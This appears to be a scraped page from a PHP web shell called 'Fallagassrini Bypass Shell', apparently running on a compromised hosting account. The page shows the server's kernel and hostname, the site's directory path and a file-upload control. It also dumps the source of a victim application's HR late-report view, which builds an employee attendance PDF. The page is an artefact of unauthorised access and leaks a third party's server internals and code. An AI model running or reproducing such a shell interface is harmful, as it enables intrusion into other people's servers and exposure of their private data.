? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sibs_draft/system/application/views/HR/pdf_late_report.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$html='<html><head><body>';
$html.='<table width="100%">
    <tr><td colspan="3"><img src="'.base_url().'logo/default_header.jpg" width="400" height="148"/></td></tr>
        <tr><td colspan="3" style="font-size:16px;"><b>Late Report</b></td></tr>
        <tr><td colspan="3">Period: '.$month.' '.$year.'</td></tr>
        </table><br><br>';

$html.='<hr>';
$ts = strtotime($month." ".$year);
$start_date=date('Y-m-01', $ts);
$end_date=date('Y-m-t', $ts);

$diff = abs(strtotime($start_date) - strtotime($end_date));
$days =  floor($diff/(60*60*24));
$days++;
$html.='<table cellspacing="-1" border=1 style="width:100%;text-align:left">
    <thead>
        <tr><th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Sl No</th>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Employee<br/>Name</th>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Employee<br/>No</th>';
            $date=$start_date;
            while (strtotime($date) <= strtotime($end_date))
            {
                $html.='<th style="height:30px;text-align:center;" bgcolor="#cdc9c9">'.date ("d", strtotime($date)).'</th>';
                $date = date ("Y-m-d", strtotime("+1 day", strtotime($date)));
            }
    $html .='</tr></thead><tbody>';
            $i=1;
            $weekly_holidays=$this->mastermodel->getdatas('timesheet_weekly_holiday','weekly_holiday_id');
            $holiday=array();
            foreach ($weekly_holidays as $weekly)
            {
                $holiday[]=$weekly['weekly_holiday'];
            }
            foreach($report as $rep)
            {
                $date=$start_date;
                $employee_device_id=$this->mastermodel->getSingleFieldValue('staffemployeedetails','device_no','staffid',$rep['staffid']);
                $html.='<tr><td>'.$i.'</td>';
                $html.='<td>'.$rep['name'].'</td>';
                $html.='<td>'.$rep['employeeid'].'</td>';
                while (strtotime($date) <= strtotime($end_date))
                {
                    $day_type=$this->hrmodel->get_late_day($employee_device_id,$rep['staffid'],$date);
                    $html.='<td>'.$day_type.'</td>';
                    $date = date("Y-m-d", strtotime("+1 day", strtotime($date)));
                }
                $html.='</tr>';
                $i++;
            }



$html.='</tbody></table>';
$html.='<hr>';


   $html.='<script type="text/php">
          if ( isset($pdf) )
          {
             $font = Font_Metrics::get_font("verdana", "normal");
             $pdf->page_text(75, 580,"                Page  {PAGE_NUM} of {PAGE_COUNT}", $font, 10, array(0,0,0));
          }
          </script>
        </body></html>';

pdf_create($html,'Late-Report',true);

   ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net